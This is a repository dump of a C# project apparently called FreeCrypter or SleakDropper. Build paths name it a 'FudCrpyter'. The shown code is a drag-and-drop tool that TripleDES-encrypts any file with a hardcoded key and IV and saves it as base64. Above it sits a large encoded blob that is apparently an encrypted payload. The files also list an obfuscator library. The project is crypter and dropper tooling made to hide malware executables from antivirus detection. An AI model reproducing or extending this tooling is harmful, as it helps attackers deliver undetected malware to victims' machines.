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
--------------------------------------------------------------------------------
/SleakDirectFile/bin/Debug/build.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/bin/Debug/build.pdb
--------------------------------------------------------------------------------
/SleakDirectFile/encode.Designer.cs:
--------------------------------------------------------------------------------
1 | namespace SleakDirectFile
2 | {
3 | partial class encode
4 | {
5 | ///
6 | /// Required designer variable.
7 | ///
8 | private System.ComponentModel.IContainer components = null;
9 |
10 | ///
11 | /// Clean up any resources being used.
12 | ///
13 | /// true if managed resources should be disposed; otherwise, false.
14 | protected override void Dispose(bool disposing)
15 | {
16 | if (disposing && (components != null))
17 | {
18 | components.Dispose();
19 | }
20 | base.Dispose(disposing);
21 | }
22 |
23 | #region Windows Form Designer generated code
24 |
25 | ///
26 | /// Required method for Designer support - do not modify
27 | /// the contents of this method with the code editor.
28 | ///
29 | private void InitializeComponent()
30 | {
31 | this.label1 = new System.Windows.Forms.Label();
32 | this.panel1 = new System.Windows.Forms.Panel();
33 | this.label2 = new System.Windows.Forms.Label();
34 | this.button2 = new System.Windows.Forms.Button();
35 | this.panel1.SuspendLayout();
36 | this.SuspendLayout();
37 | //
38 | // label1
39 | //
40 | this.label1.AutoSize = true;
41 | this.label1.Font = new System.Drawing.Font("Nirmala UI", 15.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
42 | this.label1.Location = new System.Drawing.Point(319, 196);
43 | this.label1.Name = "label1";
44 | this.label1.Size = new System.Drawing.Size(158, 30);
45 | this.label1.TabIndex = 0;
46 | this.label1.Text = "Drag and Drop";
47 | //
48 | // panel1
49 | //
50 | this.panel1.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(35)))), ((int)(((byte)(35)))), ((int)(((byte)(35)))));
51 | this.panel1.Controls.Add(this.button2);
52 | this.panel1.Controls.Add(this.label2);
53 | this.panel1.Dock = System.Windows.Forms.DockStyle.Top;
54 | this.panel1.Location = new System.Drawing.Point(0, 0);
55 | this.panel1.Name = "panel1";
56 | this.panel1.Size = new System.Drawing.Size(800, 30);
57 | this.panel1.TabIndex = 1;
58 | this.panel1.Paint += new System.Windows.Forms.PaintEventHandler(this.panel1_Paint);
59 | this.panel1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.mouse_down);
60 | this.panel1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.mouse_Move);
61 | //
62 | // label2
63 | //
64 | this.label2.AutoSize = true;
65 | this.label2.Font = new System.Drawing.Font("Nirmala UI", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
66 | this.label2.ForeColor = System.Drawing.Color.White;
67 | this.label2.Location = new System.Drawing.Point(12, 9);
68 | this.label2.Name = "label2";
69 | this.label2.Size = new System.Drawing.Size(77, 13);
70 | this.label2.TabIndex = 3;
71 | this.label2.Text = "SleakDropper";
72 | //
73 | // button2
74 | //
75 | this.button2.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(25)))), ((int)(((byte)(25)))));
76 | this.button2.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
77 | this.button2.Font = new System.Drawing.Font("Nirmala UI", 8.25F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
78 | this.button2.ForeColor = System.Drawing.Color.White;
79 | this.button2.Location = new System.Drawing.Point(761, 1);
80 | this.button2.Name = "button2";
81 | this.button2.Size = new System.Drawing.Size(39, 29);
82 | this.button2.TabIndex = 4;
83 | this.button2.Text = "X";
84 | this.button2.UseVisualStyleBackColor = false;
85 | this.button2.Click += new System.EventHandler(this.button2_Click);
86 | //
87 | // encode
88 | //
89 | this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
90 | this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
91 | this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(25)))), ((int)(((byte)(25)))), ((int)(((byte)(25)))));
92 | this.ClientSize = new System.Drawing.Size(800, 450);
93 | this.Controls.Add(this.panel1);
94 | this.Controls.Add(this.label1);
95 | this.ForeColor = System.Drawing.Color.White;
96 | this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
97 | this.Name = "encode";
98 | this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
99 | this.Text = "encode";
100 | this.Load += new System.EventHandler(this.encode_Load);
101 | this.DragDrop += new System.Windows.Forms.DragEventHandler(this.encode_DragDrop);
102 | this.DragEnter += new System.Windows.Forms.DragEventHandler(this.encode_DragEnter);
103 | this.panel1.ResumeLayout(false);
104 | this.panel1.PerformLayout();
105 | this.ResumeLayout(false);
106 | this.PerformLayout();
107 |
108 | }
109 |
110 | #endregion
111 |
112 | private System.Windows.Forms.Label label1;
113 | private System.Windows.Forms.Panel panel1;
114 | private System.Windows.Forms.Label label2;
115 | private System.Windows.Forms.Button button2;
116 | }
117 | }
--------------------------------------------------------------------------------
/SleakDirectFile/encode.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.CSharp;
2 | using System;
3 | using System.CodeDom.Compiler;
4 | using System.Collections.Generic;
5 | using System.ComponentModel;
6 | using System.Data;
7 | using System.Drawing;
8 | using System.IO;
9 | using System.Linq;
10 | using System.Text;
11 | using System.Threading.Tasks;
12 | using System.Windows.Forms;
13 | using Tools;
14 |
15 | namespace SleakDirectFile
16 | {
17 | public partial class encode : Form
18 | {
19 | public encode()
20 | {
21 | InitializeComponent();
22 | this.AllowDrop = true;
23 | this.DragEnter += new DragEventHandler(encode_DragEnter);
24 | this.DragDrop += new DragEventHandler(encode_DragDrop);
25 | }
26 |
27 | private void button1_DragDrop(object sender, DragEventArgs e)
28 | {
29 |
30 | }
31 |
32 | private void encode_DragEnter(object sender, DragEventArgs e)
33 | {
34 | if (e.Data.GetDataPresent(DataFormats.FileDrop)) e.Effect = DragDropEffects.Copy;
35 | }
36 |
37 | private void encode_DragDrop(object sender, DragEventArgs e)
38 | {
39 | try
40 | {
41 | string[] file = (string[])e.Data.GetData(DataFormats.FileDrop);
42 | using (SaveFileDialog saveFileDialog = new SaveFileDialog())
43 | {
44 | saveFileDialog.Filter = "TXT File (*.txt)|*.txt";
45 | saveFileDialog.Title = "Save Converted Base64 ...";
46 |
47 | if (saveFileDialog.ShowDialog() == DialogResult.OK)
48 | {
49 | byte[] Key = Convert.FromBase64String("TxM4zjDL+WrdkYmUb5TvoQ==");
50 |
51 | byte[] IV = Convert.FromBase64String("e2iOhnoh6dc=");
52 |
53 |
54 | byte[] encrypt = Algroithum.EncryptTripleDES(File.ReadAllBytes(file[0]), Key, IV);
55 |
56 | string data = Convert.ToBase64String(encrypt);
57 | File.WriteAllText(saveFileDialog.FileName, data);
58 |
59 | MessageBox.Show("Raw File Crypted Successfully!", "OK", MessageBoxButtons.OK, MessageBoxIcon.Information);
60 |
61 | }
62 | }
63 | }
64 |
65 | catch (Exception ex)
66 | {
67 | MessageBox.Show(ex.Message);
68 | }
69 | }
70 |
71 | private void encode_Load(object sender, EventArgs e)
72 | {
73 |
74 | }
75 |
76 | private void button2_Click(object sender, EventArgs e)
77 | {
78 | this.Hide();
79 | }
80 |
81 | private void panel1_Paint(object sender, PaintEventArgs e)
82 | {
83 |
84 | }
85 | Point mouseLocation;
86 | private void mouse_down(object sender, MouseEventArgs e)
87 | {
88 | mouseLocation = new Point(-e.X, -e.Y);
89 |
90 | }
91 |
92 | private void mouse_Move(object sender, MouseEventArgs e)
93 | {
94 | if (e.Button == MouseButtons.Left)
95 | {
96 | Point mousePose = Control.MousePosition;
97 | mousePose.Offset(mouseLocation.X, mouseLocation.Y);
98 | Location = mousePose;
99 | }
100 | }
101 | }
102 | }
103 |
--------------------------------------------------------------------------------
/SleakDirectFile/encode.resx:
--------------------------------------------------------------------------------
1 |
2 |
3 |
62 |
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 |
97 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
108 |
109 | text/microsoft-resx
110 |
111 |
112 | 2.0
113 |
114 |
115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
116 |
117 |
118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
119 |
120 |
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/DesignTimeResolveAssemblyReferences.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/DesignTimeResolveAssemblyReferences.cache
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/DesignTimeResolveAssemblyReferencesInput.cache
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.Form1.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.Form1.resources
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.Properties.Resources.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.Properties.Resources.resources
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.AssemblyReference.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.AssemblyReference.cache
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.CopyComplete:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.CopyComplete
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.CoreCompileInputs.cache:
--------------------------------------------------------------------------------
1 | 19541299d6fa4e6240ba8bd2d441123f55bea4be
2 |
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.FileListAbsolute.txt:
--------------------------------------------------------------------------------
1 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\SleakDirectFile.exe.config
2 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\SleakDirectFile.exe
3 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\SleakDirectFile.pdb
4 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.csproj.AssemblyReference.cache
5 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.csproj.SuggestedBindingRedirects.cache
6 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.encode.resources
7 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.Form1.resources
8 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.Properties.Resources.resources
9 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.csproj.GenerateResource.cache
10 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.csproj.CoreCompileInputs.cache
11 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.exe
12 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.pdb
13 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\KeikoObfuscator.dll
14 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\Mono.Cecil.dll
15 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\Mono.Cecil.Mdb.dll
16 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\Mono.Cecil.Pdb.dll
17 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\Mono.Cecil.Rocks.dll
18 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\Mono.Cecil.Mdb.pdb
19 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\Mono.Cecil.Pdb.pdb
20 | E:\VisualStudio\FudCrpyter\SleakDirectFile\bin\Debug\Mono.Cecil.Rocks.pdb
21 | E:\VisualStudio\FudCrpyter\SleakDirectFile\obj\Debug\SleakDirectFile.csproj.CopyComplete
22 |
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.GenerateResource.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.GenerateResource.cache
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.SuggestedBindingRedirects.cache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.csproj.SuggestedBindingRedirects.cache
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.encode.resources:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.encode.resources
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.exe
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/SleakDirectFile.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/SleakDirectFile.pdb
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/tr1xongithub/FreeCrypter/42ac3ab82c7430756d4f0628c56371eba3ad9808/SleakDirectFile/obj/Debug/TempPE/Properties.Resources.Designer.cs.dll
--------------------------------------------------------------------------------
/SleakDirectFile/obj/Debug/_IsIncrementalBuild:
--------------------------------------------------------------------------------
1 | obj\Debug\\_IsIncrementalBuild
2 |
--------------------------------------------------------------------------------
/SleakDirectFile/packages.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------